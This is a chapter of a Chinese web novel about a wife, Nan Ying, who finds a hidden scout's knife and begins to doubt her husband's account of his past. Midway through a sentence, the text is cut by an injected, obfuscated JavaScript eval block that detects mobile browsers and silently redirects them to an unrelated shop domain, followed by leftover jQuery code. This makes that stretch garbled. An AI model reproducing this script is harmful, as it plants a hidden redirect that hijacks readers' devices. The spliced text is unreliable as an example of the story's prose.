文趣网 > 其他小说 > 同病娇夫君和离后 > 55. 第 55 章
    清晨,南瑛醒来时,身侧又是空的。

    每次房事结束后的次日,裴屿安总是起得比她早,有时是去厨房准备早膳,有时是有要紧事需要出府。

    他没主动说,她也懒得问。

    相处这么久,她本该习惯,但今天莫名觉得烦躁。

    前些时日,寒霜来府上时,与她聊过这件事,当时南瑛还夸他“是个实打实疼妻子的好丈夫”,但是寒霜又说“旁的夫妻早餐醒来都有早安吻,你二人是不是有点过分规整了”。

    当时南瑛没放心上,现在想来却觉得此言有理。旁人有的,她也要有。

    本想暗地里暗示他一番,哪知这人整日脚尖不着地,愣是没找到机会。

    愤愤间,南瑛起身换上衣服,在房内踱步,最后停在书桌旁。

    裴屿安自从进入将军府来,日日夜夜都在此处伏案。

    她给他换了张新书桌,连笔墨都是按他的喜好备的。后来又嫌太冷清,从外头买来一只青釉花盆,用来种植黄杨。

    她拿起桌上那沓宣纸看了一会儿,笔锋苍劲有力,与他整个人截然不同。

    她对圣贤书一向没兴趣,翻了片刻,顿觉没劲。刚想放回去,手心一滑,宣纸落了一地。

    连纸张都跟她作对!当真是诸事不顺。

    南瑛心中纵有万般不愿,仍是一张张拾起。只剩最后几张时,她视线顿住了——满满一页都是她的名字。

    看这纸张的材质,不是近日她买的,而是裴屿安刚入府的那阵子写的。

    所以,他那时候就……

    来不及深思,门口处传来一声“吱呀”。南瑛慌乱将那沓纸放回桌面,动作过于迅疾。一个不小心,手臂碰到桌上摆着的那只花盆。

    手往半空一伸,还是晚了一步。“砰”的一声脆响,满地狼藉。

    她叹了一口气,弯腰去收拾,指尖碰到一片碎瓷底下硌着什么硬物,拨开泥土,露出来一截暗色的东西。

    是一把刀。

    刀鞘朴素无纹,只在鞘口处镶了一圈暗银。

    这是南境军营里斥候惯用的短刀,轻便、贴身、一击致命。

    父亲麾下的斥候人手一把,她见过无数次。但这不是军中的制式,而且材质偏老旧,有些年头了。刀鞘内侧刻着一行极小的字,她翻过来凑近看了,是她不认识的记号。

    这刀是裴屿安的?

    哪儿来的?

    为何要藏在这儿?

    一个接一个的疑惑涌上心头,南瑛全然愣住了。

    裴蘅进门时,看见的就是这样一副场景——南瑛蹲在地上,手里攥着那把陪了他十几年、出生入死的短刀。

    他走上前,将粥搁在书桌旁后,蹲下去捧起南瑛的双手。

    “怎么这般不小心?有没有伤着哪儿?”

    里里外外看了一通,发现没有何处划伤后,他才伸手搂上南瑛的腰,将她带上来。

    “这些,留给我——”

    他言语未尽,南瑛忽而仰起头,用一种既迷茫又令他感到陌生的眼神盯着他。

    “这刀……是你的?”

    裴蘅拿起帕子,擦去她指缝中残留着的泥土,一下下擦得很仔细。

    他没有隐瞒,语气甚至算得上平静:“是沈步离的。先前他来府里,不小心落在这儿的。我原想拿去归还,一直没找到机会,怕多就先收了起来。”

    南瑛没相信他这番说辞,“沈步离一个翰林,用斥候的刀?”

    “他祖上是武勋出身,家里有几把旧刀不奇怪。”裴蘅把刀搁回桌上,“你要是觉得碍眼,我改日还回去。”

    南瑛没说话。沈步离祖上是文官起家,武勋是他外祖家,早已败落多年。

    “那你为什么要把刀藏在花盆里?”南瑛又问。

    要是心中没鬼,大大方方的不行吗?

    这话她终究没说出口。

    “先前我在外买了个空花盆,原想用来种植四季桂。一时忙忘了,就先放着。”裴蘅坦然道,“兴许是丫鬟给黄杨换土时,没注意到我搁在花盆里的刀,这才不小心落在此处。”

    南瑛看了一眼窗台上那排花盆——全是青釉,没有一个空的。

    她心中存疑,但面上不露分毫,只淡淡“嗯”了一声。

    裴蘅把碗往她那边推了推,语气带上几分小心翼翼:“娘子,你先用早膳,我先去厨房煎药。”

    说完,他转身出去了,门在身后合上。

    日光从窗棂缝隙漏进来,落在桌面上那把暗银鞘口的刀上。南瑛看了一会儿,伸手把刀拿起来,重新翻到内侧那行刻字。

    她没见过这种记号。但南境斥候的刀,每一把都有编号。这把有记号,却没有编号——要么是私铸的,要么是从某个不归军部管辖的地方流出来的。她把刀收进袖中。

    胡乱吃了几口后,出了门。

    吩咐春桃叫来在院中伺候的丫鬟,南瑛一个个询问过去,但没人认识这柄刀。最后是一个刚入府不久的丫鬟“呀”了一声,说先前替黄杨换土时打碎过花盆,姑爷随手从角落指了个花盆给她,后来兴许就是这个。日子隔得久了,记不真切。

    南瑛“嗯”了一声,示意她们离开。心烦意乱间,她刚想往厨房走,就见陆铮领着个瘦小的中年男人前来。

    那男人穿着件半旧短褐,低着头,畏畏缩缩的。

    “大小姐。”陆铮拱了拱手,“这人是云渚来的,说是以前认识裴公子。”他朝身后那人扬了扬下巴,“正好在营里碰上,想着你可能用得上,就带过来了。”

    男人身体抖得厉害,试探着半抬起头。他五官全揉在一块,面色土黄,皱皱巴巴的。

    从他脸上那些皱纹中,南瑛勉强辨认出此人确实是南边的长相。

    “什么事?”南瑛问。

    陆铮推了推男人一把,“大小姐问什么你就答什么,只管实话实话就行。”

    男人缩了一下肩,连忙拱了拱手。“小的是云渚人,姓李,以前在裴家铺子隔壁开杂货铺的。”

    南瑛太阳穴突突直跳,面上故作镇定,“你认识裴屿安?”

    “认识认识。裴家那个二房的侄子嘛,从小就体弱,风一吹就倒,跟个姑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772863|206356||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    娘似的。走两步就喘,他二叔嫌他不中用,老打他。”男人顿了顿,像在回忆,“不过那孩子脾气倒好,见谁都笑,就是胆子小得很,连马都不敢靠近。”

    南瑛微怔,“连马都不敢靠近?”

    “可不是嘛。”李掌柜像是打开了话匣子,“有一回他二叔让他去城外送东西,给他牵了匹骡子,他都不敢骑,硬是牵着走了十几里地。后来他二叔气得把骡子卖了,说养他不如养头驴。”

    他干笑了两声,又觉得说得不太妥,讪讪地住了口。

    南瑛心里头涌上众多疑惑,她掐了一把手背,说:“裴屿安在马球场骑过马,骑得很好。”

    李掌柜愣了一下,“……这怎么可能?裴家那孩子连骡子都不敢骑。”

    南瑛神色一恍惚,忆起自己初识裴屿安时,他一人被一群武功高强的江湖杀手追杀却游刃有余。

    先前她不是没怀疑过他,但事事滴水不漏。如今想来,最可疑之处亦在此。

    但她仍想信他,又问:“你如何证明你所言句句属实?”

    这个问题看似简单,实则很刁钻。

    李掌柜摸了摸脑袋,似是被此问难住了。

    须臾,他取出文书,“这是在下的身份证明。但大小姐这个问题,恕在下难以回答。”

    南瑛没看,也没再追问,拿出些碎银子,想将人打发。

    但李掌柜没收。

    “小的只是不希望大小姐被骗。”李掌柜说完,迟疑了一下,又补了一句,“大小姐若问裴家那孩子有没有什么特别之处……小的记得一件事。十几年前云渚乱那会儿,裴家二房门口总有马车进出,说是接了个伤得很重的人。后来那孩子——就是裴屿安——总往那边跑。再后来就没人提了,兴许是死了吧。”

    他说完,挠了挠头,大约是觉得自己说了些不相干的闲话,缩着肩退了两步。

    南瑛“嗯”了一声,摆摆手,示意他退下。陆铮还站在另一旁,似是想说些什么,一见南瑛兴致缺缺,最后只留了一句“若是大小姐哪日想玩马球,在下随时奉陪”后就离去了。

    南瑛独自一人在廊下发了许久呆,才回屋。

    门被推开了。裴蘅走进来,手里端着一碗药,热气正袅袅地升着。他看见她坐在桌边,也看见了桌上那把刀。

    “你还没收起来。”

    “忘了。”南瑛站起来,朝他走过去,在他面前停下。她看了一眼他手里的药碗,药汁浓黑,散发着一股苦涩的气味。

    “今天怎么又喝?”

    “陈郎中说这药得连服七日。”裴蘅垂眼看着碗沿,吹了吹热气,仰头喝完。

    他搁下碗的时候,南瑛伸出手,指尖擦过他手背——温度比常人高一些,脉搏稳而有力。

    这双手,握过缰绳、挽过弓、杀过人。她见过。

    “陆铮来过了。”她说。

    裴蘅擦嘴角的动作停了一下,把碗搁回桌上,响声沉闷。“他来做什么?”

    “带了个人来见我。说是云渚来的,认识你。”南瑛看着他,“他说你连马都不敢靠近。”